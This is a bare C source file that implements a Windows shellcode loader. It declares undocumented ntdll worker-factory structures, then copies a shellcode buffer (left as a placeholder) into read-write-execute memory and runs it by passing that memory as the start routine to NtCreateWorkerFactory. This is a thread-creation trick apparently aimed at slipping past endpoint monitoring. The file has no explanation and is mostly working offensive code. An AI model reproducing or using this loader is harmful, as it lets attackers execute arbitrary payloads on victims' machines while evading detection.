#include #include #define PRINTDEBUG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__) #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) #define WORKER_FACTORY_FULL_ACCESS 0xf00ff typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; typedef struct _IO_STATUS_BLOCK { union { NTSTATUS Status; PVOID Pointer; }; ULONG_PTR Information; } IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; typedef struct _FILE_IO_COMPLETION_INFORMATION { PVOID KeyContext; PVOID ApcContext; IO_STATUS_BLOCK IoStatusBlock; } FILE_IO_COMPLETION_INFORMATION, * PFILE_IO_COMPLETION_INFORMATION; typedef struct _WORKER_FACTORY_DEFERRED_WORK { struct _PORT_MESSAGE* AlpcSendMessage; PVOID AlpcSendMessagePort; ULONG AlpcSendMessageFlags; ULONG Flags; } WORKER_FACTORY_DEFERRED_WORK, * PWORKER_FACTORY_DEFERRED_WORK; typedef enum _WORKERFACTORYINFOCLASS { WorkerFactoryTimeout, // LARGE_INTEGER WorkerFactoryRetryTimeout, // LARGE_INTEGER WorkerFactoryIdleTimeout, // s: LARGE_INTEGER WorkerFactoryBindingCount, // s: ULONG WorkerFactoryThreadMinimum, // s: ULONG WorkerFactoryThreadMaximum, // s: ULONG WorkerFactoryPaused, // ULONG or BOOLEAN WorkerFactoryBasicInformation, // q: WORKER_FACTORY_BASIC_INFORMATION WorkerFactoryAdjustThreadGoal, WorkerFactoryCallbackType, WorkerFactoryStackInformation, // 10 WorkerFactoryThreadBasePriority, // s: ULONG WorkerFactoryTimeoutWaiters, // s: ULONG, since THRESHOLD WorkerFactoryFlags, // s: ULONG WorkerFactoryThreadSoftMaximum, // s: ULONG WorkerFactoryThreadCpuSets, // since REDSTONE5 MaxWorkerFactoryInfoClass } WORKERFACTORYINFOCLASS, * PWORKERFACTORYINFOCLASS; typedef struct _WORKER_FACTORY_BASIC_INFORMATION { LARGE_INTEGER Timeout; LARGE_INTEGER RetryTimeout; LARGE_INTEGER IdleTimeout; BOOLEAN Paused; BOOLEAN TimerSet; BOOLEAN QueuedToExWorker; BOOLEAN MayCreate; BOOLEAN CreateInProgress; BOOLEAN InsertedIntoQueue; BOOLEAN Shutdown; ULONG BindingCount; ULONG ThreadMinimum; ULONG ThreadMaximum; ULONG PendingWorkerCount; ULONG WaitingWorkerCount; ULONG TotalWorkerCount; ULONG ReleaseCount; LONGLONG InfiniteWaitGoal; PVOID StartRoutine; PVOID StartParameter; HANDLE ProcessId; SIZE_T StackReserve; SIZE_T StackCommit; NTSTATUS LastThreadCreationStatus; } WORKER_FACTORY_BASIC_INFORMATION, * PWORKER_FACTORY_BASIC_INFORMATION; typedef NTSTATUS(WINAPI* tNtCreateWorkerFactory)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, HANDLE, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T); typedef NTSTATUS(WINAPI* tNtWorkerFactoryWorkerReady)(HANDLE); typedef NTSTATUS(WINAPI* tNtSetInformationWorkerFactory)(HANDLE, WORKERFACTORYINFOCLASS, PVOID, ULONG); typedef NTSTATUS(WINAPI* tNtQueryInformationWorkerFactory)(HANDLE, WORKERFACTORYINFOCLASS, PVOID, ULONG, PULONG); typedef NTSTATUS(WINAPI* tNtWaitForWorkViaWorkerFactory)(HANDLE, FILE_IO_COMPLETION_INFORMATION*, ULONG, PULONG, WORKER_FACTORY_DEFERRED_WORK*); int main() { HANDLE hWorkerFactory; ULONG ulThreadMinimum = 1; ULONG ulKey = 'cat'; HANDLE hIoCompletion = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, ulKey, 0); HMODULE hNtdll = GetModuleHandleA("ntdll"); tNtCreateWorkerFactory NtCreateWorkerFactory = (tNtCreateWorkerFactory)GetProcAddress(hNtdll, "NtCreateWorkerFactory"); if (!NtCreateWorkerFactory) { return -1; } tNtSetInformationWorkerFactory NtSetInformationWorkerFactory = (tNtSetInformationWorkerFactory)GetProcAddress(hNtdll, "NtSetInformationWorkerFactory"); if (!NtSetInformationWorkerFactory) { return -1; } unsigned char shellcode_buffer[] = "\x00"; // shellcode here LPVOID shellcode_address = VirtualAlloc( NULL, sizeof( shellcode_buffer ), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ); memcpy( shellcode_address, &shellcode_buffer[ 0 ], sizeof( shellcode_buffer ) ); PRINTDEBUG("[*] Start thread with NtCreateWorkerFactory"); NtCreateWorkerFactory( &hWorkerFactory, // _Out_ PHANDLE WorkerFactoryHandleReturn, WORKER_FACTORY_FULL_ACCESS, // _In_ ACCESS_MASK DesiredAccess, NULL, // _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes hIoCompletion, // _In_ HANDLE CompletionPortHandle, ( HANDLE )-1, // _In_ HANDLE WorkerProcessHandle, shellcode_address, // _In_ PVOID StartRoutine, 0, // _In_opt_ PVOID StartParameter, 1, 0x1000, 0x1000 ); // _In_opt_ ULONG MaxThreadCount, _In_opt_ SIZE_T StackReserve, _In_opt_ SIZE_T StackCommit NtSetInformationWorkerFactory( hWorkerFactory, WorkerFactoryThreadMinimum, &ulThreadMinimum, sizeof( ULONG ) ); while ( TRUE ) {} return 0; }